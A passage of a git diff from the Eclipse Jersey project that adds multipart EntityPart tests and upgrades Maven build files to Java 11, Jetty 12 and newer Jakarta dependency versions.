+ new ByteArrayInputStream(part1.getContent(String.class).getBytes(StandardCharsets.UTF_8))).build());
+ list.add(EntityPart.withName(part2.getName()).fileName(part2.getFileName().get()).content(
+ new ByteArrayInputStream(part2.getContent(String.class).getBytes(StandardCharsets.UTF_8))).build());
+ list.add(EntityPart.withName(part3.getName()).fileName(part3.getFileName().get())
+ .content(part3.getContent(StringHolder.class), StringHolder.class)
+ .mediaType(part3.getMediaType()).build());
+ GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {};
+ return Response.ok(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE).build();
+ }
+
+ @POST
+ @Path("/postHeaders")
+ public Response postEntityStreams(@FormParam("name1") EntityPart part1) throws IOException {
+ List<EntityPart> list = new LinkedList<>();
+ list.add(EntityPart.withName(part1.getName()).content(part1.getContent(String.class))
+ .headers(part1.getHeaders()).build());
+ GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {};
+ return Response.ok(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE).build();
+ }
+
+ @POST
+ @Path("/postGeneric")
+ public Response postGeneric(@FormParam("name1") EntityPart part1) throws IOException {
+ List<EntityPart> list = new LinkedList<>();
+ list.add(EntityPart.withName(part1.getName())
+ .content(part1.getContent(ATOMIC_REFERENCE_GENERIC_TYPE), ATOMIC_REFERENCE_GENERIC_TYPE)
+ .mediaType(MediaType.TEXT_PLAIN_TYPE)
+ .build());
+ GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {};
+ return Response.ok(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE).build();
+ }
+
+ @POST
+ @Path("/postFormVarious")
+ public Response postFormVarious(@FormParam("name1") EntityPart part1,
+ @FormParam("name2") InputStream part2,
+ @FormParam("name3") String part3) throws IOException {
+ List<EntityPart> list = new LinkedList<>();
+ list.add(EntityPart.withName(part1.getName())
+ .content(part1.getContent(String.class) + new String(part2.readAllBytes()) + part3)
+ .mediaType(MediaType.TEXT_PLAIN_TYPE)
+ .build());
+ GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {};
+ return Response.ok(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE).build();
+ }
+
+ @GET
+ @Produces(MediaType.MULTIPART_FORM_DATA)
+ @Path("/getList")
+ public List<EntityPart> getList() throws IOException {
+ List<EntityPart> list = new LinkedList<>();
+ list.add(EntityPart.withName("name1").content("data1").build());
+ return list;
+ }
+ }
+
+ public static class StringHolder extends AtomicReference<String> {
+ StringHolder(String name) {
+ set(name);
+ }
+ }
+
+ @Consumes(MediaType.TEXT_PLAIN)
+ @Produces(MediaType.TEXT_PLAIN)
+ public static class StringHolderWorker implements MessageBodyReader<StringHolder>, MessageBodyWriter<StringHolder> {
+
+ @Override
+ public boolean isReadable(Class<?> type, Type genericType, Annotation[] annotations, MediaType mediaType) {
+ return type == StringHolder.class;
+ }
+
+ @Override
+ public StringHolder readFrom(Class<StringHolder> type, Type genericType, Annotation[] annotations,
+ MediaType mediaType, MultivaluedMap<String, String> httpHeaders,
+ InputStream entityStream) throws IOException, WebApplicationException {
+ final StringHolder holder = new StringHolder(new String(entityStream.readAllBytes()));
+ return holder;
+ }
+
+ @Override
+ public boolean isWriteable(Class<?> type, Type genericType, Annotation[] annotations, MediaType mediaType) {
+ return type == StringHolder.class;
+ }
+
+ @Override
+ public void writeTo(StringHolder s, Class<?> type, Type genericType, Annotation[] annotations,
+ MediaType mediaType, MultivaluedMap<String, Object> httpHeaders,
+ OutputStream entityStream) throws IOException, WebApplicationException {
+ entityStream.write(s.get().getBytes(StandardCharsets.UTF_8));
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ return new ResourceConfig(EntityPartTestResource.class,
+ StringHolderWorker.class, AtomicReferenceProvider.class)
+ .property(ServerProperties.WADL_FEATURE_DISABLE, true);
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.register(StringHolderWorker.class).register(AtomicReferenceProvider.class);
+ }
+
+ @Test
+ public void getEntityPartListTest() throws IOException {
+ try (Response response = target().request().get()) {
+ List<EntityPart> list = response.readEntity(LIST_ENTITY_PART_TYPE);
+ assertEquals("TEST1", list.get(0).getContent(String.class));
+ assertEquals("TEST2", list.get(1).getContent(String.class));
+ }
+ }
+
+ @Test
+ public void postEntityPartListTest() throws IOException {
+ List<EntityPart> list = new LinkedList<>();
+ list.add(EntityPart.withName("part-01").content("TEST").build());
+ list.add(EntityPart.withName("part-02").content("1").build());
+ GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {};
+ Entity entity = Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE);
+ try (Response response = target("/postList").request().post(entity)) {
+ assertEquals("TEST1", response.readEntity(String.class));
+ }
+ }
+
+ @Test
+ public void postEntityPartFormParamTest() throws IOException {
+ List<EntityPart> list = new LinkedList<>();
+ list.add(EntityPart.withName("part-01").content("TEST").build());
+ list.add(EntityPart.withName("part-02").content("1").build());
+ GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {};
+ Entity entity = Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE);
+ try (Response response = target("/postForm").request().post(entity)) {
+ assertEquals("TEST1", response.readEntity(String.class));
+ }
+ }
+
+ @Test
+ public void postListEntityPartFormParamTest() throws IOException {
+ List<EntityPart> list = new LinkedList<>();
+ list.add(EntityPart.withName("part-0x").content("TEST").build());
+ list.add(EntityPart.withName("part-0x").content("1").build());
+ GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {};
+ Entity entity = Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE);
+ try (Response response = target("/postListForm").request().post(entity)) {
+ assertEquals("TEST1", response.readEntity(String.class));
+ }
+ }
+
+ @Test
+ public void postEntityPartStreamsTest() throws IOException {
+ List<EntityPart> list = new LinkedList<>();
+ list.add(EntityPart.withName("name1").fileName("file1.doc").content(
+ new ByteArrayInputStream("data1".getBytes(StandardCharsets.UTF_8))).build());
+ list.add(EntityPart.withName("name2").fileName("file2.doc").content(
+ new ByteArrayInputStream("data2".getBytes(StandardCharsets.UTF_8))).build());
+ list.add(EntityPart.withName("name3").fileName("file3.xml")
+ .content(new StringHolder("data3"), StringHolder.class)
+ .mediaType(MediaType.TEXT_PLAIN_TYPE).build());
+ GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {
+ };
+ Entity entity = Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE);
+
+ try (Response response = target("/postStreams").request().post(entity)) {
+ List<EntityPart> result = response.readEntity(LIST_ENTITY_PART_TYPE);
+
+ EntityPart part1 = result.get(0);
+ assertEquals("name1", part1.getName());
+ assertEquals("file1.doc", part1.getFileName().get());
+ assertEquals("data1", part1.getContent(String.class));
+
+ EntityPart part2 = result.get(1);
+ assertEquals("name2", part2.getName());
+ assertEquals("file2.doc", part2.getFileName().get());
+ assertEquals("data2", part2.getContent(String.class));
+
+ EntityPart part3 = result.get(2);
+ assertEquals("name3", part3.getName());
+ assertEquals("file3.xml", part3.getFileName().get());
+ assertEquals("data3", part3.getContent(String.class));
+ assertEquals(MediaType.TEXT_PLAIN_TYPE, part3.getMediaType());
+ }
+ }
+
+ @Test
+ public void postHeaderTest() throws IOException {
+ List<EntityPart> list = new LinkedList<>();
+ list.add(EntityPart.withName("name1").content("data1")
+ .header("header-01", "value-01").build());
+ GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {};
+ Entity entity = Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE);
+ try (Response response = target("/postHeaders").request().post(entity)) {
+ List<EntityPart> result = response.readEntity(LIST_ENTITY_PART_TYPE);
+ assertEquals("value-01", result.get(0).getHeaders().getFirst("header-01"));
+ assertEquals("data1", result.get(0).getContent(String.class));
+ }
+ }
+
+ @Test
+ public void postHeaderNoListTest() throws IOException {
+ EntityPart entityPart = EntityPart.withName("name1").content("data1").header("header-01", "value-01").build();
+ Entity entity = Entity.entity(entityPart, MediaType.MULTIPART_FORM_DATA_TYPE);
+ try (Response response = target("/postHeaders").request().post(entity)) {
+ response.bufferEntity();
+ List<EntityPart> result = response.readEntity(LIST_ENTITY_PART_TYPE);
+ assertEquals("value-01", result.get(0).getHeaders().getFirst("header-01"));
+ assertEquals("data1", result.get(0).getContent(String.class));
+
+ EntityPart firstEntity = response.readEntity(EntityPart.class);
+ assertEquals("value-01", result.get(0).getHeaders().getFirst("header-01"));
+ }
+ }
+
+ @Consumes(MediaType.TEXT_PLAIN)
+ @Produces(MediaType.TEXT_PLAIN)
+ public static class AtomicReferenceProvider implements
+ MessageBodyReader<AtomicReference<String>>,
+ MessageBodyWriter<AtomicReference<String>> {
+
+ @Override
+ public boolean isReadable(Class<?> type, Type generic, Annotation[] annotations, MediaType mediaType) {
+ return type == AtomicReference.class
+ && ParameterizedType.class.isInstance(generic)
+ && String.class.isAssignableFrom(ReflectionHelper.getGenericTypeArgumentClasses(generic).get(0));
+ }
+
+ @Override
+ public AtomicReference<String> readFrom(Class<AtomicReference<String>> type, Type genericType,
+ Annotation[] annotations, MediaType mediaType,
+ MultivaluedMap<String, String> httpHeaders, InputStream entityStream)
+ throws IOException, WebApplicationException {
+ return new AtomicReference<String>(new String(entityStream.readAllBytes(), StandardCharsets.UTF_8));
+ }
+
+ @Override
+ public boolean isWriteable(Class<?> type, Type genericType, Annotation[] annotations, MediaType mediaType) {
+ return isReadable(type, genericType, annotations, mediaType);
+ }
+
+ @Override
+ public void writeTo(AtomicReference<String> stringAtomicReference, Class<?> type, Type genericType,
+ Annotation[] annotations, MediaType mediaType, MultivaluedMap<String, Object> httpHeaders,
+ OutputStream entityStream) throws IOException, WebApplicationException {
+ entityStream.write(stringAtomicReference.get().getBytes(StandardCharsets.UTF_8));
+ }
+ }
+
+ @Test
+ public void genericEntityTest() throws IOException {
+ List<EntityPart> list = new LinkedList<>();
+ list.add(EntityPart.withName("name1")
+ .content(new AtomicReference<String>("data1"), ATOMIC_REFERENCE_GENERIC_TYPE)
+ .mediaType(MediaType.TEXT_PLAIN_TYPE)
+ .build());
+ GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {};
+ Entity entity = Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE);
+ try (Response response = target("/postGeneric").request().post(entity)) {
+ List<EntityPart> result = response.readEntity(LIST_ENTITY_PART_TYPE);
+ assertEquals("data1", result.get(0).getContent(String.class));
+ }
+ }
+
+ @Test
+ public void postVariousTest() throws IOException {
+ List<EntityPart> list = new LinkedList<>();
+ list.add(EntityPart.withName("name1").content("Hello ").build());
+ list.add(EntityPart.withName("name2").content("world").build());
+ list.add(EntityPart.withName("name3").content("!").build());
+ GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {
+ };
+ Entity entity = Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE);
+
+ try (Response response = target("/postFormVarious").request().post(entity)) {
+ List<EntityPart> result = response.readEntity(LIST_ENTITY_PART_TYPE);
+ assertEquals("Hello world!", result.get(0).getContent(String.class));
+ }
+ }
+
+ @Test
+ public void getListTest() throws IOException {
+ try (Response response = target("/getList").request().get()) {
+ List<EntityPart> result = response.readEntity(LIST_ENTITY_PART_TYPE);
+ assertEquals("data1", result.get(0).getContent(String.class));
+ }
+ }
+}
diff --git a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartHeaderModificationTest.java b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartHeaderModificationTest.java
index 4a7ff89..e6ff2ed 100644
--- a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartHeaderModificationTest.java
+++ b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartHeaderModificationTest.java
@@ -64,7 +64,7 @@
return Arrays.asList(new Object[][] {
{new HttpUrlConnectorProvider(), false},
{new GrizzlyConnectorProvider(), true},
- {new JettyConnectorProvider(), false},
+// {new JettyConnectorProvider(), true},
{new ApacheConnectorProvider(), true},
});
}
diff --git a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartJerseyTest.java b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartJerseyTest.java
index c7487c9..d8e298d 100644
--- a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartJerseyTest.java
+++ b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartJerseyTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/media/pom.xml b/media/pom.xml
index adef754..c1a369a 100644
--- a/media/pom.xml
+++ b/media/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.media</groupId>
diff --git a/media/sse/pom.xml b/media/sse/pom.xml
index f1627a8..cb59d35 100644
--- a/media/sse/pom.xml
+++ b/media/sse/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.media</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-media-sse</artifactId>
diff --git a/pom.xml b/pom.xml
index fcb86f2..77da50c 100644
--- a/pom.xml
+++ b/pom.xml
@@ -29,7 +29,7 @@
<groupId>org.glassfish.jersey</groupId>
<artifactId>project</artifactId>
<packaging>pom</packaging>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
<name>jersey</name>
<description>
Eclipse Jersey is the open source (under dual EPL+GPL license) Jakarta RESTful WebServices 3.0
@@ -313,8 +313,6 @@
<version>${compiler.mvn.plugin.version}</version>
<inherited>true</inherited>
<configuration>
- <source>${java.version}</source>
- <target>${java.version}</target>
<compilerArguments>
<!--<Werror />-->
<!-- TODO work towards eliminating all warnings in order to be able to enable the -Xlint option -->
@@ -322,9 +320,6 @@
</compilerArguments>
<showWarnings>false</showWarnings>
<fork>false</fork>
- <excludes>
- <exclude>module-info.java</exclude>
- </excludes>
</configuration>
</plugin>
<plugin>
@@ -734,13 +729,8 @@
</plugin>
<!-- TODO: remove the old jetty plugin dependencies -->
<plugin>
- <groupId>org.mortbay.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
- <version>8.1.8.v20121106</version>
- </plugin>
- <plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
<version>${jetty.plugin.version}</version>
</plugin>
<plugin>
@@ -825,6 +815,38 @@
</dependency>
</dependencies>
</plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-compiler-plugin</artifactId>
+ <inherited>true</inherited>
+ <configuration>
+ <source>${java.version}</source>
+ <target>${java.version}</target>
+ </configuration>
+ <executions>
+ <!-- when module.info
+ <execution>
+ <id>default-compile</id>
+ <configuration>
+ compile everything to ensure module-info contains right entries
+ <release>11</release>
+ </configuration>
+ </execution>
+ -->
+ <execution>
+ <id>base-compile</id>
+ <goals>
+ <goal>compile</goal>
+ </goals>
+ <!-- recompile everything for target VM except the module-info.java -->
+ <configuration>
+ <excludes>
+ <exclude>module-info.java</exclude>
+ </excludes>
+ </configuration>
+ </execution>
+ </executions>
+ </plugin>
</plugins>
</pluginManagement>
<plugins>
@@ -923,82 +945,6 @@
<profiles>
<profile>
- <id>jdk8</id>
- <activation>
- <jdk>1.8</jdk>
- </activation>
- <properties>
- <checkstyle.version>9.3</checkstyle.version>
- <istack.mvn.plugin.version>3.0.9</istack.mvn.plugin.version>
- <hk2.version>3.0.3</hk2.version>
- </properties>
- <build>
- <pluginManagement>
- <plugins>
- <plugin>
- <groupId>org.apache.maven.plugins</groupId>
- <artifactId>maven-compiler-plugin</artifactId>
- <inherited>true</inherited>
- <configuration>
- <source>${java.version}</source>
- <target>${java.version}</target>
- <excludes>
- <exclude>module-info.java</exclude>
- </excludes>
- </configuration>
- </plugin>
- </plugins>
- </pluginManagement>
- </build>
- </profile>
- <profile>
- <id>jdk11+</id>
- <!--
- JDK 9 & 10 is unsupported (as well as <release>9</release>)
- module-info for java.xml.bind is taken from JDK (lib/ct.sym/9-modules)
- and it depends on java.activation which clashes with javax.activation
- -->
- <activation>
- <jdk>[11,)</jdk>
- </activation>
- <build>
- <pluginManagement>
- <plugins>
- <plugin>
- <groupId>org.apache.maven.plugins</groupId>
- <artifactId>maven-compiler-plugin</artifactId>
- <inherited>true</inherited>
- <executions>
-<!-- when module.info
- <execution>
- <id>default-compile</id>
- <configuration>
- compile everything to ensure module-info contains right entries
- <release>11</release>
- </configuration>
- </execution>
--->
- <execution>
- <id>base-compile</id>
- <goals>
- <goal>compile</goal>
- </goals>
- <!-- recompile everything for target VM except the module-info.java -->
- <configuration>
- <excludes>
- <exclude>module-info.java</exclude>
- </excludes>
- <source>1.8</source>
- <target>1.8</target>
- </configuration>
- </execution>
- </executions>
- </plugin>
- </plugins>
- </pluginManagement>
- </build>
- </profile>
- <profile>
<!-- Use it with release-perform goal to skip another test run. -->
<id>testsSkip</id>
<activation>
@@ -1470,7 +1416,7 @@
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-javadoc-plugin</artifactId>
- <version>3.2.0</version>
+ <version>3.4.1</version>
<!-- Run this plugin report sets only in the main Jersey pom -->
<inherited>false</inherited>
<configuration>
@@ -1605,10 +1551,15 @@
<artifactId>jakarta.activation-api</artifactId>
<version>${jakarta.activation-api.version}</version>
</dependency>
+ <dependency>
+ <groupId>jakarta.servlet</groupId>
+ <artifactId>jakarta.servlet-api</artifactId>
+ <version>${servlet6.version}</version>
+ </dependency>
<dependency>
- <groupId>com.sun.activation</groupId>
- <artifactId>jakarta.activation</artifactId>
+ <groupId>org.eclipse.angus</groupId>
+ <artifactId>angus-activation</artifactId>
<version>${jakarta.activation.version}</version>
</dependency>
@@ -1731,12 +1682,12 @@
</dependency>
<dependency>
<groupId>org.eclipse.jetty.http2</groupId>
- <artifactId>http2-client</artifactId>
+ <artifactId>jetty-http2-client</artifactId>
<version>${jetty.version}</version>
</dependency>
<dependency>
<groupId>org.eclipse.jetty.http2</groupId>
- <artifactId>http2-http-client-transport</artifactId>
+ <artifactId>jetty-http2-client-transport</artifactId>
<version>${jetty.version}</version>
</dependency>
<dependency>
@@ -1746,12 +1697,12 @@
</dependency>
<dependency>
<groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-webapp</artifactId>
+ <artifactId>jetty-security</artifactId>
<version>${jetty.version}</version>
</dependency>
<dependency>
<groupId>org.eclipse.jetty.http2</groupId>
- <artifactId>http2-server</artifactId>
+ <artifactId>jetty-http2-server</artifactId>
<version>${jetty.version}</version>
</dependency>
<dependency>
@@ -1759,6 +1710,11 @@
<artifactId>jetty-alpn-conscrypt-server</artifactId>
<version>${jetty.version}</version>
</dependency>
+ <dependency>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-webapp</artifactId>
+ <version>${jetty.version}</version>
+ </dependency>
<dependency>
<groupId>org.simpleframework</groupId>
@@ -1919,8 +1875,8 @@
<version>${jakarta.el.version}</version>
</dependency>
<dependency>
- <groupId>org.glassfish</groupId>
- <artifactId>jakarta.el</artifactId>
+ <groupId>org.glassfish.expressly</groupId>
+ <artifactId>expressly</artifactId>
<version>${jakarta.el.impl.version}</version>
</dependency>
@@ -2040,27 +1996,6 @@
</dependency>
<dependency>
- <groupId>org.mortbay.jetty</groupId>
- <artifactId>jetty</artifactId>
- <version>${jetty.plugin.version}</version>
- <scope>test</scope>
- </dependency>
-
- <dependency>
- <groupId>org.mortbay.jetty</groupId>
- <artifactId>jetty-util</artifactId>
- <version>${jetty.plugin.version}</version>
- <scope>test</scope>
- </dependency>
-
- <dependency>
- <groupId>org.mortbay.jetty</groupId>
- <artifactId>servlet-api-2.5</artifactId>
- <version>${jetty.servlet.api.25.version}</version>
- <scope>test</scope>
- </dependency>
-
- <dependency>
<groupId>org.junit</groupId>
<artifactId>junit-bom</artifactId>
<version>${junit5.version}</version>
@@ -2073,6 +2008,19 @@
<version>${testng.version}</version>
<scope>test</scope>
</dependency>
+ <dependency>
+ <groupId>org.assertj</groupId>
+ <artifactId>assertj-core</artifactId>
+ <version>3.21.0</version>
+ <scope>test</scope>
+ </dependency>
+
+ <dependency>
+ <groupId>org.awaitility</groupId>
+ <artifactId>awaitility</artifactId>
+ <version>4.1.1</version>
+ <scope>test</scope>
+ </dependency>
<dependency>
<groupId>org.hamcrest</groupId>
@@ -2176,7 +2124,7 @@
<findbugs.glassfish.logging.validLoggerPrefixes>
jakarta.enterprise
</findbugs.glassfish.logging.validLoggerPrefixes>
- <java.version>1.8</java.version>
+ <java.version>11</java.version>
<!-- <jersey.repackaged.prefix>jersey.repackaged</jersey.repackaged.prefix>-->
<!-- <netbeans.hint.license>gf-cddl-gpl</netbeans.hint.license>-->
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
@@ -2280,16 +2228,11 @@
<guava.version>31.1-jre</guava.version>
<hamcrest.version>2.2</hamcrest.version>
<xmlunit.version>2.9.1</xmlunit.version>
- <hk2.osgi.version>org.glassfish.hk2.*;version="[2.5,4)"</hk2.osgi.version>
- <hk2.jvnet.osgi.version>org.jvnet.hk2.*;version="[2.5,4)"</hk2.jvnet.osgi.version>
<httpclient.version>4.5.14</httpclient.version>
<httpclient5.version>5.3.1</httpclient5.version>
<jackson.version>2.17.0</jackson.version>
<javassist.version>3.30.2-GA</javassist.version>
<jboss.logging.version>3.5.3.Final</jboss.logging.version>
- <jboss.logging.8.version>3.4.3.Final</jboss.logging.8.version>
- <jersey1.version>1.19.3</jersey1.version>
- <jersey1.last.final.version>${jersey1.version}</jersey1.last.final.version>
<jettison.version>1.3.7</jettison.version> <!-- TODO: 1.3.8 doesn't work; AbstractJsonTest complexBeanWithAttributes -->
<jmh.version>1.37</jmh.version>
<jmockit.version>1.49</jmockit.version>
@@ -2310,15 +2253,19 @@
<reactive.streams.version>1.0.4</reactive.streams.version>
<rxjava.version>1.3.8</rxjava.version>
<rxjava2.version>2.2.21</rxjava2.version>
+
+ <servlet4.version>4.0.3</servlet4.version>
+ <servlet6.version>6.0.0</servlet6.version>
+
<simple.version>6.0.1</simple.version>
<slf4j.version>2.0.12</slf4j.version>
<spring6.version>6.0.18</spring6.version>
<testng.version>7.9.0</testng.version>
<testng6.version>6.9.13.6</testng6.version>
<!-- Jakartified, eligible for CQ -->
- <weld.version>4.0.3.Final</weld.version>
+ <weld.version>5.1.1.Final</weld.version>
<weld3.version>3.1.9.Final</weld3.version>
- <validation.impl.version>7.0.5.Final</validation.impl.version>
+ <validation.impl.version>8.0.1.Final</validation.impl.version>
<!-- END of Jakartified, eligible for CQ -->
<wiremock.version>2.27.2</wiremock.version>
<xerces.version>2.12.2</xerces.version>
@@ -2327,48 +2274,47 @@
<graalvm.version>20.3.13</graalvm.version>
<!-- do not need CQs (below this line till the end of version properties)-->
- <gf.impl.version>6.2.5</gf.impl.version>
- <hk2.config.version>6.2.5</hk2.config.version>
+ <gf.impl.version>7.0.6</gf.impl.version>
<!-- Jakartified -->
- <cdi.api.version>3.0.0</cdi.api.version> <!-- 3.0.1 contains incompatible changes
- which fails microprofile TCK -->
+ <cdi.api.version>4.0.1</cdi.api.version>
<cdi.osgi.version>jakarta.enterprise.*;version="[3.0,5)"</cdi.osgi.version>
<ejb.version>4.0.1</ejb.version>
- <grizzly2.version>3.0.1</grizzly2.version>
+ <grizzly2.version>4.0.2</grizzly2.version>
<grizzly.client.version>1.16</grizzly.client.version>
<grizzly.npn.version>2.0.0</grizzly.npn.version>
- <hk2.version>3.0.6</hk2.version> <!-- 3.0.4 fails osgi tests, 3.0.5 is for JDK 11+ -->
- <jsp.version>3.0.0</jsp.version>
- <jstl.version>2.0.0</jstl.version>
+ <hk2.version>3.0.6</hk2.version>
+ <hk2.osgi.version>org.glassfish.hk2.*;version="[3.0,4)"</hk2.osgi.version>
+ <hk2.jvnet.osgi.version>org.jvnet.hk2.*;version="[3.0,4)"</hk2.jvnet.osgi.version>
+ <hk2.config.version>7.0.4</hk2.config.version>
+ <jsp.version>3.1.1</jsp.version>
+ <jstl.version>3.0.0</jstl.version>
<jta.api.version>2.0.1</jta.api.version>
- <servlet5.version>5.0.0</servlet5.version>
- <istack.commons.runtime.version>4.0.1</istack.commons.runtime.version>
- <jakarta.activation-api.version>2.0.1</jakarta.activation-api.version>
+ <istack.commons.runtime.version>4.1.2</istack.commons.runtime.version>
+ <jakarta.activation-api.version>2.1.2</jakarta.activation-api.version>
<jakarta.activation.version>2.0.1</jakarta.activation.version>
- <jakarta.el.version>4.0.0</jakarta.el.version>
- <jakarta.el.impl.version>4.0.2</jakarta.el.impl.version>
+ <jakarta.el.version>5.0.1</jakarta.el.version>
+ <jakarta.el.impl.version>5.0.0</jakarta.el.impl.version>
<jakarta.annotation.osgi.version>jakarta.annotation.*;version="[2.0,3)"</jakarta.annotation.osgi.version>
<jakarta.annotation.version>2.1.1</jakarta.annotation.version>
<jakarta.inject.version>2.0.1</jakarta.inject.version>
- <jakarta.interceptor.version>2.0.1</jakarta.interceptor.version>
- <jakarta.jsonp.version>2.0.2</jakarta.jsonp.version>
- <jakarta.persistence.version>3.0.0</jakarta.persistence.version>
- <jakarta.validation.api.version>3.0.2</jakarta.validation.api.version> <!--Can't be updated to 3.0.1 /OSGi incompatibility with JDK 1.8 -->
- <jakarta.jaxb.api.version>3.0.1</jakarta.jaxb.api.version>
- <jaxb.ri.version>3.0.2</jaxb.ri.version>
- <jaxrs.api.spec.version>3.0</jaxrs.api.spec.version>
- <jaxrs.api.impl.version>3.0.0</jaxrs.api.impl.version>
+ <jakarta.interceptor.version>2.1.0</jakarta.interceptor.version>
+ <jakarta.jsonp.version>2.1.3</jakarta.jsonp.version>
+ <jakarta.persistence.version>3.1.0</jakarta.persistence.version>
+ <jakarta.validation.api.version>3.0.2</jakarta.validation.api.version>
+ <jakarta.jaxb.api.version>4.0.1</jakarta.jaxb.api.version>
+ <jaxb.ri.version>4.0.4</jaxb.ri.version>
+ <jaxrs.api.spec.version>3.1</jaxrs.api.spec.version>
+ <jaxrs.api.impl.version>3.1.0</jaxrs.api.impl.version>
<jetty.osgi.version>org.eclipse.jetty.*;version="[11,15)"</jetty.osgi.version>
- <jetty.version>11.0.20</jetty.version>
- <jetty.tracing.version>11.0.15</jetty.tracing.version> <!-- special version for tracing support tests, applied before JDK 21-->
+ <jetty.version>12.0.7</jetty.version>
<jetty9.version>9.4.54.v20240208</jetty9.version>
- <jetty.plugin.version>11.0.20</jetty.plugin.version>
- <jetty.servlet.api.25.version>6.1.14</jetty.servlet.api.25.version>
- <jsonb.api.version>2.0.0</jsonb.api.version>
- <jsonp.ri.version>1.0.5</jsonp.ri.version>
- <jsonp.jaxrs.version>1.0.5</jsonp.jaxrs.version>
- <moxy.version>3.0.4</moxy.version>
- <yasson.version>2.0.4</yasson.version>
+ <jetty11.version>11.0.20</jetty11.version>
+ <jetty.plugin.version>12.0.5</jetty.plugin.version>
+ <jsonb.api.version>3.0.0</jsonb.api.version>
+ <jsonp.ri.version>1.1.5</jsonp.ri.version>
+ <jsonp.jaxrs.version>1.1.1</jsonp.jaxrs.version>
+ <moxy.version>4.0.2</moxy.version>
+ <yasson.version>3.0.3</yasson.version>
<!-- END of Jakartified -->
<javax.annotation.version>1.3.2</javax.annotation.version> <!--Deprecated, used only for @generated annotation in perf tests -->
diff --git a/security/oauth1-client/pom.xml b/security/oauth1-client/pom.xml
index 750ec8d..848db15 100644
--- a/security/oauth1-client/pom.xml
+++ b/security/oauth1-client/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.security</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>oauth1-client</artifactId>
diff --git a/security/oauth1-server/pom.xml b/security/oauth1-server/pom.xml
index d59a01e..7c77770 100644
--- a/security/oauth1-server/pom.xml
+++ b/security/oauth1-server/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.security</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>oauth1-server</artifactId>
diff --git a/security/oauth1-signature/pom.xml b/security/oauth1-signature/pom.xml
index 562f7a2..8300795 100644
--- a/security/oauth1-signature/pom.xml
+++ b/security/oauth1-signature/pom.xml
@@ -21,7 +21,7 @@
<parent>
<groupId>org.glassfish.jersey.security</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
diff --git a/security/oauth2-client/pom.xml b/security/oauth2-client/pom.xml
index b0b9e0e..c6cfad2 100644
--- a/security/oauth2-client/pom.xml
+++ b/security/oauth2-client/pom.xml
@@ -21,7 +21,7 @@
<parent>
<groupId>org.glassfish.jersey.security</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
